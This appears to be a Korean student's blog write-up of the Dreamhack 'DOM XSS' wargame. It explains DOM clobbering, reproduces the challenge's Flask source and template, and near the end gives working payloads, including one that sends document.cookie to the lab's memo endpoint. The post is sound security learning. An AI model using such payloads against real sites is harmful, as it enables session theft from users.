5주차_Webhacking 과제1 : DOM XSS

2023. 11. 4. 21:25SWLUG/web hacking

 

이번주 웹해킹 학습내용은 XSS(CROSS SITE SCRIPTING) 이다.

XSS(CROSS SITE SCRIPTING)란?

 

대표적인 클라이언트 사이드 취약점 중 하나로 공격자가 웹 리소스에 악성 스크립트를 삽입하여 이용자의 웹 브라우저에서 해당 스크립트 를 실행 시키는 공격이다.

웹 서버와 클라이언트 간의 통신 방식인 HTTP 프로토콜 동작 과정에서 발생 공격자는 XSS 취약점을 통해 특정 계정의 세션을 탈취하고, 해당 계정으로 임의의 기능을 수행할 수 있다.

 

 

 

📌 풀이

 

https://dreamhack.io/wargame/challenges/438

 

DOM XSS

Description Exercise: DOM XSS에서 실습하는 문제입니다. 문제 수정 내역 2023.08.11 Dockerfile 제공

dreamhack.io

 

Document Object Model (DOM)

  • 웹 페이지에 대한 프로그래밍 인터페이스
  • 웹 개발자가 작성한 웹 문서는 브라우저에서 파싱되어 DOM으로 표현된다.
  • 자바스크립트가 웹 문서에 접근할 때에는 DOM을 통해 접근하게 되며, DOM에서 제공하는 API 사용
  • DOM 내에서 웹 개발자가 작성한 HTML 문서는 트리 형태가 되어 노드로 표현된다.

var elem = document .getElementById("name");
elem.innerText ="My name is jo0dy";

 

DOM Clobbering XSS

  • id, name 등 HTML에서 이용되는 속성을 이용해 자바스크립트에서 접근 가능한 DOM 객체들의 속성 및 메소드 등을 변조하는 공격 기법이다.
  • HTML injection이 가능해야 한다.

 

원리

- Javascript에서 별도 변수 정의 없이 "xxxxx"에 접근하면 해당 id를 가진 element를 DOM에서 찾아서 리턴한다.

 

 

 

 

 

해당 문제를 풀기위해서 우선 파일을 다운받고 서버를 생성했다.

 

서버를 생성해서 들어가봤더니 이렇게 생겼다.

 

첫번째거를 클릭해봤더니 이렇게 뜬다.

 

두번째거를 클릭해봤더니 이렇게 뜬다.

 

마지막거를 클릭했더니 아래와 같이 떴는데, 여기에 찾은 값을 같았다.

 

아무거나 입력했더니 아래처럼 good이라고 떴다.

 

 

 

일단 힌트를 어떻게 얻어야할지 몰라서 계속 클릭해봤는데 memo는 클릭할때마다  아래처럼 누적돼서 뜬다.

 

이렇게만 봤을때는 얻을 수 있는 힌트가 한정적이게 느껴졌다. (혹은 너무 많은 가능성이 있게 느껴졌다.)

그래서 다운받은 파일을 확인해봤다.

 

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, name, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}#{name}"
    return read_url(url, cookie)

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}' 'strict-dynamic'"
    nonce = os.urandom(16).hex()
    return response

@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", nonce=nonce, param=param)


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        name = request.form.get("name")
        if not check_xss(param, name, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)


app.run(host="0.0.0.0", port=8000)

 

 

 

 

아까 d d만 입력했는데 good이라고 나온 이유를 발견했다.

 

 

 

그냥 포트번호있길래 써봤는데 이건 아니었나보다.

 

 

생각해보니까 이 형태는 수업때 배운 형태랑 비슷했다.

 

 

스크립트를 이용해서 풀어야하는 문제이구나 까지 생각이 들었다.

 

이 이후부터는 도움을 받아야겠다.

 

위 내용을 살펴보면 script-src에서 strict-dynamic이 존재하는데, strict-dynamic는 동적으로 스크립트를 로드하는 것을 허용한다는 의미라고 한다.

<script nonce={{ nonce }}>
    window.addEventListener("load", function() {
      var name_elem = document.getElementById("name");
      name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
    });
 </script>
  {{ param | safe }}
  <pre id="name"></pre>

 

 

나는 찾지 못했지만 , html 파일을 보면 id가 name인 태그를 대상으로 innerHTML 수행한다. 

삽입되는 데이터는 URL로 전달되는 fragment이고,  URL flagment는 URL에서 # 뒷 부분을 의미한다.

( flag에 있는 생김새를 보면 # 을 기준으로 앞뒤로 나뉘는 것을 확인 할 수 있다.) 

html 코드를 다시보면, pre 태그보다 param으로 전송한 fragment 데이터가 먼저 로드되는 것을 알 수 있다.

따라서 pre 태그와 같은 id로 스크립트 태그를 frament로 작성해서 전송하면 DOM Clobbering이 발생한다.

 

<script id='name'></script>#alert(1)//
<script id='name'></script>#location.href='http://127.0.0.1:8000/memo?memo='+document.cookie//

 

payload를 위와 같이 구성할 수 있다. 

 

payload란?

전송되는 데이터를 의미하는데 더 자세한건 아래 참고 학습 자료를 통해 공부하면 될 것 같다.

 

 

[ 참고 학습 자료 ]

 

페이로드(payload)란? 개념 설명 - Easy is Perfect (melonicedlatte.com)

 

페이로드(payload)란? 개념 설명 - Easy is Perfect

페이로드(payload)는 전송되는 데이터를 의미합니다. 데이터를 전송할 때, 헤더와 메타데이터, 에러 체크 비트 등과 같은 다양한 요소들을 함께 보내어, 데이터 전송의 효율과 안정성을 높히게 됩

melonicedlatte.com

 

DOM Clobbering으로 flagment로 전송한 데이터가 <script> 태그 내부에 로드된다.

 

 

스크립트가 실행되고 공격 대상의 쿠키를 memo에 저장할 수 있게된다.

 

 

 

 

 

문제를 풀고나니 이문제는 base에 대한 CSP 설정이 없어서 base 태그를 활용해도 XSS가 가능하다고 한다.!

하지만 이 문제가 원하는 방법은 아닌 것 같다.

 

진짜 너무너무너무 어려운 내용인데 계속 공부하다보면 이해가 되지않을까 생각한다. 😂😂😂

 

 

 

[ 참고 자료 ]

 

[Dreamhack Wargame] DOM XSS (tistory.com)

 

[Dreamhack Wargame] DOM XSS

Document Object Model (DOM) - 웹 페이지에 대한 프로그래밍 인터페이스 - 웹 개발자가 작성한 웹 문서는 브라우저에서 파싱되어 DOM으로 표현됨 - 자바스크립트가 웹 문서에 접근할 때에는 DOM을 통해 접

minseosavestheworld.tistory.com

 

[dreamhack] DOM XSS — keyme$ec - Security Study (tistory.com)

 

[dreamhack] DOM XSS

문제풀이 @app.after_request def add_header(response): global nonce response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}' 'strict-dynamic'" n

keyme2003.tistory.com